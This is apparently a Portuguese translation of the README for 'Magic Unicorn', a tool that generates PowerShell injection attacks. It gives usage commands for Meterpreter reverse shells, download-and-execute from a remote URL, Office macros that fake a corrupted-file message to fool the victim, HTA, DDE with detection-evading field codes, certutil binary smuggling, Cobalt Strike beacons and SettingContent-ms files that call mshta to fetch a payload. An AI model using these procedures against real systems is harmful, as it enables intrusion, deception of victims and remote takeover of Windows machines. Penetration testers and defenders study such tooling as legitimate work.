
Unicorn é uma ferramenta simples para usar um ataque de downgrade do PowerShell e injetar shellcode diretamente na memória. Baseado nos ataques PowerShell de Matthew Graeber e na técnica de bypass do PowerShell apresentada por David Kennedy (TrustedSec) e Josh Kelly na Defcon 18.
Escrito por: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com
Magic Unicorn é uma ferramenta simples para usar um ataque de downgrade do PowerShell e injetar shellcode diretamente na memória. Baseado nos ataques PowerShell de Matthew Graeber e na técnica de bypass do PowerShell apresentada por David Kennedy (TrustedSec) e Josh Kelly no Defcon 18.
O uso é simples, basta executar o Magic Unicorn (certifique-se de que o Metasploit esteja instalado se estiver usando métodos do Metasploit e no caminho correto) e o magic unicorn gerará automaticamente um comando PowerShell que você precisa apenas copiar e colar o código PowerShell em uma janela de linha de comando ou através de um sistema de entrega de payload. O Unicorn suporta seu próprio shellcode, cobalt strike e Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Ataques de injeção nativa do PowerShell x86 em qualquer plataforma Windows.
Escrito por: Dave Kennedy na TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Créditos: Matthew Graeber, Justin Elze, Chris Gates
Felizes Magic Unicorns.
Uso: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
Exemplo PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Exemplo Macro: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Exemplo Macro CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Exemplo Macro Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
Exemplo HTA: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
Exemplo HTA CS: python unicorn.py <cobalt_strike_file.cs> cs hta
Exemplo HTA Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
Exemplo DDE: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
Exemplo CRT: python unicorn.py <path_to_payload/exe_encode> crt
Exemplo PS1 Personalizado: python unicorn.py <path to ps1 file>
Exemplo PS1 Personalizado: python unicorn.py <path to ps1 file> macro 500
Exemplo Cobalt Strike: python unicorn.py <cobalt_strike_file.cs> cs (exportar CS no formato C#)
Shellcode Personalizado: python unicorn.py <path_to_shellcode.txt> shellcode (formatado 0x00)
Menu de Ajuda: python unicorn.py --help
Tudo agora é gerado em dois arquivos, powershell_attack.txt e unicorn.rc. O arquivo de texto contém todo o código necessário para injetar o ataque PowerShell na memória. Observe que você precisará de um local que suporte injeção remota de comandos de alguma forma. Muitas vezes isso pode ser através de um documento do excel/word ou através de comandos psexec dentro do Metasploit, SQLi, etc. Existem inúmeras implicações e cenários onde você pode usar este ataque. Basta colar o comando do powershell_attack.txt em qualquer janela de prompt de comando ou onde você tenha a capacidade de chamar o executável do PowerShell e ele lhe dará um shell de volta. Este ataque também suporta windows/download_exec como método de payload em vez de apenas payloads do Meterpreter. Ao usar o download e exec, basta colocar python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe e o código PowerShell baixará o payload e o executará.
Observe que você precisará ter um listener ativo para capturar o ataque.
Para o ataque de macro, você precisará ir em Arquivo, Propriedades, Faixa de Opções e selecionar Desenvolvedor. Depois de fazer isso, você terá uma guia Desenvolvedor. Crie uma nova macro, chame-a de Auto_Open e cole o código gerado nela. Isso será executado automaticamente. Observe que uma mensagem será exibida para o usuário informando que o arquivo está corrompido e fechará automaticamente o documento do Excel. ISSO É COMPORTAMENTO NORMAL! Isso está enganando a vítima, fazendo-a pensar que o documento do Excel está corrompido. Você deve obter um shell através da injeção do PowerShell após isso.
Se você estiver implantando isso contra versões do Office365/2016+ do Word, você precisa modificar a primeira linha da saída de: Sub Auto_Open()
Para: Sub AutoOpen()
O nome da macro em si também deve ser "AutoOpen" em vez do esquema de nomenclatura legado "Auto_Open".
NOTA: AO COPIAR E COLAR O EXCEL, SE ESPAÇOS ADICIONAIS FOREM ADICIONADOS, VOCÊ PRECISA REMOVÊ-LOS APÓS CADA UMA DAS SEÇÕES DO CÓDIGO POWERSHELL SOB A VARIÁVEL "x" OU OCORRERÁ UM ERRO DE SINTAXE!
O ataque HTA gerará automaticamente dois arquivos, o primeiro é o index.html que informa ao navegador para usar o Launcher.hta que contém o código malicioso de injeção do PowerShell. Todos os arquivos são exportados para a pasta hta_access/ e haverá três arquivos principais. O primeiro é index.html, o segundo Launcher.hta e o último, o arquivo unicorn.rc. Você pode executar msfconsole -r unicorn.rc para iniciar o listener do Metasploit.
Um usuário deve clicar em permitir e aceitar ao usar o ataque HTA para que a injeção do PowerShell funcione corretamente.
O vetor de ataque certutil foi identificado por Matthew Graeber (@mattifestation) que permite pegar um arquivo binário, convertê-lo para o formato base64 e usar o certutil na máquina da vítima para convertê-lo de volta para binário. Isso deve funcionar em praticamente qualquer sistema e permitir que você transfira um binário para a máquina da vítima através de um arquivo de certificado falso. Para usar este ataque, basta colocar um executável no caminho do unicorn e executar python unicorn.py <exe_name> crt para obter a saída base64. Depois de pronto, vá para a pasta decode_attack/ que contém os arquivos. O arquivo bat é um comando que pode ser executado em uma máquina Windows para convertê-lo de volta para binário.
Este método de ataque permite converter qualquer arquivo PowerShell (.ps1) em um comando codificado ou macro.
Observe que, se escolher a opção de macro, um arquivo ps1 grande pode exceder a quantidade de retornos de carro permitidos pelo VBA. Você pode alterar o número de caracteres em cada string VBA passando um inteiro como parâmetro.
Exemplos:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
O último usará uma string de 500 caracteres em vez do padrão de 380, resultando em menos retornos de carro no VBA.
Este vetor de ataque gerará a fórmula DDEAUTO para colocar no Word ou Excel. O objeto COM DDEInitilize e DDEExecute permitem que fórmulas sejam criadas diretamente dentro do Office, o que possibilita a execução remota de código sem a necessidade de macros. Este ataque foi documentado e instruções completas podem ser encontradas em:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
Para usar este ataque, execute os seguintes exemplos:
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
Uma vez gerado, um arquivo powershell_attack.txt será gerado contendo o código do Office, e o arquivo unicorn.rc que é o componente do listener que pode ser chamado por msfconsole -r unicorn.rc para lidar com o listener do payload. Além disso, um download.ps1 também será exportado (explicado na seção posterior).
Para aplicar o payload, como exemplo (do artigo do sensepost):
Assim que o documento do Office for aberto, você deve receber um shell através da injeção do PowerShell. Observe que o DDE tem limitação de tamanho de caracteres e precisamos usar Invoke-Expression (IEX) como método para download.
O ataque DDE tentará baixar o download.ps1 que é nosso ataque de injeção do PowerShell, pois estamos limitados por restrições de tamanho. Você precisará mover o download.ps1 para um local acessível pela máquina da vítima. Isso significa que você precisa hospedar o download.ps1 em um diretório do Apache2 a que ela tenha acesso.
Você pode notar que alguns comandos usam "{ QUOTE" que são formas de mascarar comandos específicos, documentado aqui: http://staaldraad.github.io/2017/10/23/msword-field-codes/. Neste caso, estamos alterando WindowsPowerShell, powershell.exe e IEX para evitar detecção. Confira também a URL, pois ela possui ótimos métodos para não chamar o DDE.
Este método importará diretamente o shellcode do Beacon do Cobalt Strike a partir do Cobalt Strike.
Dentro do Cobalt Strike, exporte a exportação "CS" (C#) do Cobalt Strike e salve-a em um arquivo. Por exemplo, chame o arquivo de cobalt_strike_file.cs.
O código de exportação será algo assim:
Em seguida, para uso:
python unicorn.py cobalt_strike_file.cs cs
O argumento cs informa ao Unicorn que você deseja usar a funcionalidade do Cobalt Strike. O resto é mágica.
Em seguida, copie o comando PowerShell para algo onde você tenha capacidade de execução remota de comandos.
NOTA: O ARQUIVO DEVE SER EXPORTADO NO FORMATO C# (CS) DENTRO DO COBALT STRIKE PARA SER ANALISADO CORRETAMENTE.
Existem algumas ressalvas com este ataque. Observe que o tamanho do payload será um pouco acima de 14k+ em bytes. Isso significa que, do ponto de vista do argumento de linha de comando, se você copiar e colar, atingirá o limite de tamanho de 8191 caracteres (codificado no cmd.exe). Se você estiver inicializando diretamente do cmd.exe, isso é um problema; no entanto, se estiver inicializando diretamente do PowerShell ou de outros aplicativos normais, isso não é um problema.
Alguns exemplos aqui, wscript.shell e powershell usam USHORT - 65535 / 2 = 32767 de limite de tamanho:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
Para este ataque, se você estiver inicializando diretamente do PowerShell, VBSCript (WSCRIPT.SHELL), não há problemas.
Este método permitirá que você insira seu próprio shellcode no ataque do Unicorn. O código PowerShell aumentará o tamanho da pilha do powershell.exe (através do VirtualAlloc) e o injetará na memória.
Observe que, para que isso funcione, seu arquivo txt para o qual você aponta o Unicorn deve estar formatado no seguinte formato ou não funcionará:
0x00,0x00,0x00 e assim por diante.
Observe também que existem restrições de tamanho. O comprimento total do comando PowerShell não pode exceder o tamanho de 8191. Este é o limite máximo de tamanho de argumento de linha de comando no Windows.
Uso:
python unicorn.py shellcode_formatted_properly.txt shellcode
Em seguida, copie o comando PowerShell para algo onde você tenha capacidade de execução remota de comandos.
NOTA: O ARQUIVO DEVE SER DEVIDAMENTE FORMATADO EM UM FORMATO 0x00,0x00,0x00 SEM NADA MAIS ALÉM DO SEU SHELLCODE NO ARQUIVO TXT.
Existem algumas ressalvas com este ataque. Observe que, se o tamanho do seu payload for grande por natureza, ele não caberá no cmd.exe. Isso significa que, do ponto de vista do argumento de linha de comando, se você copiar e colar, atingirá o limite de tamanho de 8191 caracteres (codificado no cmd.exe). Se você estiver inicializando diretamente do cmd.exe, isso é um problema; no entanto, se estiver inicializando diretamente do PowerShell ou de outros aplicativos normais, isso não é um problema.
Alguns exemplos aqui, wscript.shell e powershell usam USHORT - 65535 / 2 = 32767 de limite de tamanho:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
Para este ataque, se você estiver inicializando diretamente do PowerShell, VBSCript (WSCRIPT.SHELL), não há problemas.
Primeiro, se você ainda não teve a chance, vá ao incrível blog da SpectreOps de Matt Nelson (enigma0x3):
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
Este método usa um tipo de arquivo específico chamado ".SettingContent-ms" que permite tanto carregamentos diretos de navegadores (abrir + execução de comando) quanto tipo de extensão através de incorporação em produtos do Office. Este aqui focará especificamente nas configurações de tipo de extensão para execução de comandos dentro do vetor de ataque PowerShell do Unicorn.
Existem múltiplos métodos suportados com este vetor de ataque. Como há um limite de tamanho de caracteres com este ataque, o método de implantação é um HTA.
Para uma compreensão detalhada sobre como transformar este ataque em arma, visite:
https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
As etapas que você precisará fazer para concluir este ataque é gerar seu arquivo .SettingContent-ms a partir de um standalone ou hta. O método HTA suporta Metasploit, Cobalt Strike e ataques diretos de shellcode.
Os quatro métodos abaixo sobre uso:
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Exemplo SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Exemplo SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
Gerar .SettingContent-ms: python unicorn.py ms
O primeiro é um payload Metasploit, o segundo um Cobalt Strike, o terceiro seu próprio shellcode e o quarto apenas um arquivo .SettingContent-ms em branco.
Quando tudo é gerado, exportará um arquivo chamado Standalone_NoASR.SettingContent-ms, seja no diretório raiz padrão do Unicorn (se estiver usando a geração de arquivo standalone) ou na pasta hta_attack/. Você precisará editar o arquivo Standalone_NoASR.SettingContent-ms e substituir:
REPLACECOOLSTUFFHERE
Por:
mshta http://<apache_server_ip_or_dns_name/Launcher.hta.
Em seguida, mova o conteúdo da hta_attack para /var/www/html.
Assim que a vítima clicar no arquivo .SettingContent-ms, o mshta será chamado na máquina da vítima e então baixará o arquivo HTA do Unicorn que tem as capacidades de execução de código.
Agradecimentos especiais e parabéns a Matt Nelson pela pesquisa incrível.
Confira também: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
Uso:
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms